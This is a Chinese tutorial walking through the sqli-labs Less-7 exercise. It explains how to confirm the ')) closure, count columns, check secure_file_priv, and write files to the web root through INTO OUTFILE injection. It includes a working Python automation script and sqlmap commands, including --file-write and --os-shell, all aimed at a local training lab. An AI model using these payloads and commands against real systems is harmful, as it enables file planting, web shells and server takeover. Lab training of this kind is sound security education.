sqli-labs 这个靶场,我前后刷过不止一遍。前六关玩的是“读”——把数据库里的数据通过报错、盲注或者联合查询带回页面;到了 Less-7,画风突然变了,注入点不再把结果直接回显在页面上,页面只会提示一句“You are in... Use outfile”。这其实是在暗示:这一关的玩法是往服务器上写文件,而不是读数据。很多初学者在这一关卡住,主要原因是还在用前几关的思维去测回显,结果很懵。
这篇文章就针对 Less-7 的自动化注入方法展开,从闭合判断、列数探测、文件写入条件检查,到最终用 Python 脚本和 sqlmap 实现自动化的完整链路都讲一遍。内容会兼顾手工思路和自动化实现,适合刚把 SQL 注入基础概念过完、开始在靶场上动手的人,也适合准备把测试过程脚本化的安全学习者。
1. 为什么 Less-7 是 SQL 注入从“读”到“写”的分水岭
Less-1 到 Less-4 是典型的回显注入,联合查询的结果直接出现在页面里,所以手工测试时只要盯着响应看有没有多出来的列就行。Less-5 和 Less-6 开始进入盲注,页面没有直接的回显点,只能靠页面是否正常、响应时间是否变化来做判断。到了 Less-7,连盲注的“信号”都变弱了,它把数据出口从 HTTP 响应换成了服务器文件系统。
打开 Less-7 的源码,目标 SQL 基本长这样:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";注意这里id被一对单引号和一对括号包裹,闭合方式不是简单的一个单引号,而是'))。这个细节是后面所有自动化脚本的起点。MySQL 的into outfile可以把查询结果写入服务器本地文件,Less-7 的设计正是基于这个能力:让注入点把查询结果写到 Web 目录下,从而获得文件写入能力。
为什么说这一关是分水岭?因为前六关的核心目标是“数据泄露”,本质是读;Less-7 之后,目标是“文件写入”,本质是写。数据泄露只能影响数据库层面的信息,而文件写入一旦落到 Web 根目录,就可能演变成命令执行、内网横向移动的入口。这个转变意味着,攻击面从数据库扩展到了整个 Web 服务。对防御者来说,理解这种“写文件型注入”的触发条件,是在代码审计和日志排查中识别同类问题的基础。
1.1 一个“不回显”的注入点,手工玩法有多折磨
我最早手动刷这一关时,最大的感受是:根本不知道 payload 到底起没起作用。
访问?id=1,页面显示正常;输入?id=1',页面报错但不会像 Less-1 那样把 SQL 错误原样打印出来;输入?id=1'))--+,页面又恢复正常。整个过程像在猜谜。更难受的是,当你尝试用union select ... into outfile写文件时,浏览器里看不到任何写入成功的提示,你必须放下终端,跑到服务器的 Web 目录里去翻有没有生成文件。如果本地靶场找文件还算方便,换到真实测试环境,每验证一次都要反复确认路径、权限和文件内容。
这种“信息少、步骤多、要反复试”的场景,正是脚本自动化的经典适用场景。人工最多试三五个 payload 就不想折腾了,脚本可以在一秒内把闭合符、列数、路径变量全部跑一遍,并且每一步都有输出。
1.2 从 union select 读到 into outfile 写,思路转变在哪
回顾 Less-1 的联合注入流程:判断闭合、判断列数、用union select把目标数据拼到查询结果里回显到页面。Less-7 的前两步完全一致——仍然要判断闭合和列数,但是第三步的落点从“页面回显”换成了“文件系统”。
into outfile的语法是:
SELECT 1,2,3 INTO OUTFILE '/var/www/html/test.txt'它会把查询结果写入指定路径的文件。配合联合注入,payload 可以写成:
1')) UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/sqli-labs/Less-7/test.txt'#执行后,服务器上会多出一个test.txt文件,文件内容就是查询结果中的字段值。如果能把这个文件写成 PHP 等可执行脚本,且放在 Web 目录下,访问它就能执行代码。这一关考的不是你是不是会写 SQL,而是你能不能把一个手工过程抽象成一组可重复的步骤。
2. 自动化前的环境侦察:闭合、列数和可写目录
自动化的前提,是把手工步骤拆成明确的参数。Less-7 的注入流程拆开就三件事:确定闭合方式、确定列数、确定文件写入路径。这三件事不搞清楚,脚本跑得再快也是白搭。
2.1 闭合符探测:为什么最终落在'))
在写自动化脚本之前,至少要知道目标 SQL 的包裹结构。手工探测闭合符的思路很简单:往 id 参数后面依次拼接不同的闭合字符,观察页面变化。
比如,在 Less-7 里依次测试:
?id=1' -> SQL 报错或页面异常 ?id=1'# -> 仍异常,因为括号没闭合 ?id=1')# -> 仍异常,因为还有一层括号 ?id=1'))# -> 页面恢复“You are in... Use outfile”当'))出现后页面恢复,说明 SQL 语句成功闭合,且注释符把后面的LIMIT 0,1等代码屏蔽掉了。这里我用的是#注释符,不是教程里常见的--+,原因后面脚本部分会细讲。
自动化脚本可以把候选闭合符做成一个列表,遍历发送请求,用“页面是否出现正常特征”作为判断条件,第一个命中就直接返回。
2.2 列数判断:order by 与 union select 的对应关系
闭合符确定后,第二步是确认当前查询返回几列。手工判断用的是order by:
?id=1')) ORDER BY 1# -> 正常 ?id=1')) ORDER BY 2# -> 正常 ?id=1')) ORDER BY 3# -> 正常 ?id=1')) ORDER BY 4# -> 报错当order by 4报错时,说明当前查询只有 3 列。自动化脚本可以写一个循环,从 1 开始递增,检测到首个页面异常就返回n-1。Less-7 的查询结果是 3 列,所以后面的union select必须写成union select 1,2,3,字段数量不一致时into outfile会因为子查询列数不匹配而失败。
2.3 文件写入前置条件:secure_file_priv 与目录权限
这一步是 Less-7 的隐藏门槛。即使闭合和列数全对,into outfile也不一定能写成功,因为 MySQL 还有一道安全开关:secure_file_priv。
secure_file_priv的取值有三种情况:
| 取值 | 含义 |
|---|---|
| NULL | 禁止任何 outfile / load_file 操作 |
| 空字符串 | 不限制导入导出路径 |
| 指定目录 | 只允许在该目录下执行导入导出 |
在 MySQL 5.6 及以上版本,默认往往是 NULL,也就是说直接禁用。如果你在 Less-7 里构造了完全正确的 payload,却收到类似Can't create/write to file的报错,八成是这道开关在拦。
怎么自动化验证?思路是构造这样一个 payload,把@@secure_file_priv的值直接写进一个标记文件:
1')) UNION SELECT 1,2,@@secure_file_priv INTO OUTFILE '/var/www/html/sqli-labs/Less-7/priv.txt'#然后访问priv.txt,看里面是不是有值。如果文件能正常生成,说明 outfile 通道是通的;如果报错,就先处理secure_file_priv,再回来跑自动化。
另外还要确认 Web 目录的绝对路径。sqli-labs 在 Windows 集成环境下通常位于WWW目录下,在 Linux Apache 环境下通常是/var/www/html/sqli-labs/Less-7。自动化脚本里建议把路径做成常量,方便一处修改、全局生效。
3. 手写 Python 自动化脚本的思路与完整实现
我始终觉得,sqlmap 很强,但自己写一遍自动化脚本更有价值。原因有两个:第一,写脚本的过程逼迫你完整理解漏洞触发的每个环节;第二,真实场景里经常遇到 WAF、参数过滤、特殊闭合,sqlmap 遇到这些情况往往会卡住,那时手写脚本反而更灵活。
3.1 脚本骨架:把“手工会做的事”翻译成参数
写脚本之前,先列一下这个自动化脚本的输入和输出。
输入:
- 目标 URL 和注入参数名
- Web 根目录的绝对路径
- 要写入的验证内容(我建议先用纯文本标记)
- HTTP 超时、重试次数等基础设置
处理步骤:
- 探测闭合符
- 探测列数
- 生成
union select ... into outfilepayload - 发送写入请求
- 访问目标文件,验证是否写入成功
整体脚本用 Python 的requests库就可以,不需要别的重量级依赖。
3.2 核心函数与 payload 构造细节
这里给出一份可以运行的参考脚本。注意我在注释符上选了#,并且在发送前对参数做了 URL 编码,这样比--+更不容易被浏览器和服务端解析坑到。
import requests from urllib.parse import quote BASE = "http://127.0.0.1/sqli-labs/Less-7/" OUTFILE = "/var/www/html/sqli-labs/Less-7/less7.txt" CHECK_URL = "http://127.0.0.1/sqli-labs/Less-7/less7.txt" CLOSURES = ["'", "\"", "')", "\")", "'))", "\"))"] def send_param(value): url = BASE + "?id=" + quote(value, safe="") try: r = requests.get(url, timeout=10) return r.text except requests.RequestException as e: print(f"[!] 请求失败: {e}") return "" def probe_closure(): for c in CLOSURES: text = send_param(f"1{c}#") if "You are in" in text: print(f"[*] 闭合符: {c}") return c raise SystemExit("[-] 未找到可用闭合符") def detect_columns(closure): for n in range(1, 11): text = send_param(f"1{closure} ORDER BY {n}#") if "You are in" not in text: print(f"[*] 列数: {n - 1}") return n - 1 raise SystemExit("[-] 未探测到列数") def build_payload(closure, columns, outfile, content): # 内容转 hex,避免单引号或特殊字符干扰 SQL 语句 hex_data = content.encode("utf-8").hex() fields = ["0x" + hex_data] + ["1"] * (columns - 1) select_part = ",".join(fields) return f"1{closure} UNION SELECT {select_part} INTO OUTFILE '{outfile}'#" def verify_write(url): try: r = requests.get(url, timeout=10) return r.status_code == 200, r.text except requests.RequestException: return False, "" def main(): closure = probe_closure() columns = detect_columns(closure) marker = "sqli-labs-less7-writable" payload = build_payload(closure, columns, OUTFILE, marker) send_param(payload) ok, text = verify_write(CHECK_URL) if ok: print(f"[+] 写入验证成功,文件内容: {text.strip()}") else: print("[-] 写入验证失败,请检查 secure_file_priv 与路径权限") if __name__ == "__main__": main()这个脚本的核心逻辑是build_payload函数。写入内容被转成十六进制字符串,以0x...的形式放到union select的第一个字段里。为什么这样做?因为 outfile 后面的路径要用单引号包裹,如果写入内容本身也包含单引号,整个 SQL 语句很容易被提前闭合。转成 hex 之后,内容里的所有字符都不会与 SQL 语法产生冲突,这是写文件型注入里非常实用的一个小技巧。
columns参数控制union select的字段数量。Less-7 是 3 列,所以生成的 payload 形如:
1')) UNION SELECT 0x7371696c...,1,1 INTO OUTFILE '/var/www/html/sqli-labs/Less-7/less7.txt'#服务器写入的文件内容,就是0x十六进制串解码后的原始字节。用less7.txt做标记文件的好处是,验证起来非常直接——访问它、看内容、对比字符串,不需要考虑代码是否被执行。
3.3 脚本运行结果与调试细节
我实际跑下来,脚本输出大概是这样的:
[*] 闭合符: ')) [*] 列数: 3 [+] 写入验证成功,文件内容: sqli-labs-less7-writable如果第一步就报“未找到可用闭合符”,先别急着改脚本,大概率是目标环境的页面特征不是You are in,或者目标被加了一层过滤。把send_param里的 Response 打出来,或者换一个特征字符串作为判断标志,比盲目改闭合列表高效得多。
还有一个细节:requests 在构造 URL 时会保留部分字符,所以我用quote(value, safe="")手动编码了参数值。这样处理之后,单引号、空格、#都能正确传到服务端。如果你直接在requests.get里拼完整 URL,#可能会被当成 URL 片段,导致 payload 后半截丢失,这是新手最容易踩的坑。
4. 用 sqlmap 快速落地:一条命令搞定的另一种自动化
手写脚本最大的价值是理解原理,但日常测试里,sqlmap 依然是最快的落地工具。下面说说针对 Less-7 怎么用 sqlmap 实现自动化,以及为什么我建议按“先探测、再读文件、再写文件”的顺序来。
4.1 从探测到写文件,sqlmap 参数怎么配
第一步,基础探测。用--batch让所有交互自动采用默认值,避免 sqlmap 中途弹一堆问题而你没在终端前守着:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --batch --level=3 --risk=3--level=3和--risk=3的作用是提升测试深度和风险级别,让 sqlmap 尝试更多注入向量。对本地靶场来说,这个组合通常能很快识别出注入点。
第二步,确认 Web 绝对路径。sqlmap 的--file-read可以读取服务器上的文件。如果知道目标文件路径,比如先读index.php:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --file-read="/var/www/html/sqli-labs/Less-7/index.php" --batch这一步本质上是验证两件事:一是数据库当前用户是否有读取权限,二是你猜测的绝对路径是否正确。如果文件能读出来,说明路径没问题;读不到就换路径再试。
第三步,写文件。假设本地准备了一个test.txt,内容是sqlmap-write-test:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --file-write="/tmp/test.txt" --file-dest="/var/www/html/sqli-labs/Less-7/test.txt" --batch写完以后,直接访问http://127.0.0.1/sqli-labs/Less-7/test.txt,看内容是否和本地一致。如果一致,说明整条 outfile 链路已经被 sqlmap 打通了。
4.2 --os-shell 与 --file-write 的取舍与坑
sqlmap 还提供了--os-shell参数,可以自动尝试上传一个用于命令交互的脚本,并在 MySQL 允许导入输出的前提下直接获取一个操作系统命令交互环境。命令很短:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --os-shell --batch这个参数在 sqli-labs 这种本地靶场里通常很顺利,但它有一个前提:sqlmap 需要知道 Web 绝对路径和 Web 语言。如果它识别不了,会进入交互式提问,--batch模式下又可能因为它猜错路径而失败。
我的建议是,如果你已经写好了文件内容,就优先用--file-write而不是--os-shell。--file-write更可控,你知道自己写的是什么、写到哪里;--os-shell虽然看起来一步到位,但它的自动化程度越高,越依赖环境猜得准不准。真实环境里能拿到一个稳定的文件写入点,比拿一个脆弱的交互 shell 重要得多。
另外需要注意,sqlmap 的文件读写功能依赖 MySQL 的FILE权限。在 sqli-labs 里数据库连接通常是高权限账户,所以能成功;真实环境的低权限用户可能没有FILE权限,--file-read和--file-write会直接报错。
5. 自动化写文件后的验证与常见翻车现场
自动化脚本写完不是结束,验证与调错才是大头。我把这一关里遇到过的翻车现场按频率排了个序,基本覆盖了大多数人会踩的坑。
5.1 确定性验证:文件标记与 HTTP 状态码
自动化脚本里不要只发送 payload 就完事,一定要有验证步骤。最简单的验证方式,是写入一个内容唯一的文本标记,再访问对应 URL,把响应体拉回来对比字符串。
前面脚本里的verify_write干的就是这件事:先访问CHECK_URL,检查 HTTP 状态码是否为 200,再判断响应体里是否包含marker。为什么不用 HTTP 状态码单独当判断条件?因为有些 Web 服务对不存在的文件会返回 200,或者对写入失败也返回 200,单看状态码不靠谱。把状态码和内容放到一起判断,误判率会低很多。
5.2 六种常见翻车原因与排查思路
| 现象 | 可能原因 | 处理方向 |
|---|---|---|
| 页面提示 Can't create/write to file | 目录不可写或路径不存在 | 换可写目录、确认路径、检查 secure_file_priv |
| MySQL error 1290 | secure_file_priv 限制 | 调整 MySQL 配置,或把文件写到允许目录 |
| 写入成功但访问 404 | 写入了错误目录 | 重新确认 Web 绝对路径 |
| 文件存在但内容为空 | union select 字段顺序不对 | 调整字段内容,确认内容在第一个字段 |
| 所有 payload 都报语法错误 | 闭合符判断错误 | 重新探测闭合,注意括号层级 |
| SQL 语句被截断 | URL 中 # 没编码 | 使用%23,或改用 quote 编码 |
这里特别说下secure_file_priv。很多本地靶场默认装的 MySQL 版本不一样,有的开箱就能写文件,有的必须手动改配置。如果你在 Less-7 里发现 outfile 一直失败,先不要怀疑 payload 构造,优先查一下数据库当前环境的secure_file_priv值:
SHOW VARIABLES LIKE 'secure_file_priv';或者在注入点里尝试把它读出来:
1')) UNION SELECT 1,2,@@secure_file_priv INTO OUTFILE '/var/www/html/sqli-labs/Less-7/priv.txt'#如果读出来是 NULL,说明是 MySQL 配置层面关掉了文件导入导出,这也提醒我们:即使注入点存在,防御者仍然可以在数据库层面对文件写入做足够的限制,这是纵深防御里很值得参考的一环。
5.3 从 Less-7 带走的通用自动化模型
Less-7 这套流程,本质上可以归纳成“三步自动化”:探测、写入、验证。探测负责把目标参数摸清楚,写入负责把内容送到目标位置,验证负责确认结果。这个模型不只在 sqli-labs 有效,其他写文件型注入、甚至很多 API 接口的自动化测试,都可以按这个框架来拆。
写文件型注入的自动化,核心是把每个环节都变成可观测的。所谓可观测,就是每一步都有明确输出:闭合符是什么、列数是几、文件有没有生成、内容是否匹配。只要这几件事在脚本里被清晰地记录和判断,就算目标环境换了路径、换了闭合,也只是改几个常量的事。
我在实际使用中还有一个体会:自动化脚本的路径、内容、验证 URL 最好拆成配置文件或常量,不要散落在代码里。因为这种脚本往往要在多个环境里反复跑,每换一个环境,改动越小,出错的概率就越低。Less-7 只是把这一整套思路浓缩在了一个靶场里,吃透它之后,后面再遇到类似的注入场景,你大概会下意识地先问自己三个问题:闭合是什么?能写哪个目录?写完了怎么验证?这三个问题能在脚本里回答出来,这个点的自动化就算真正落地了。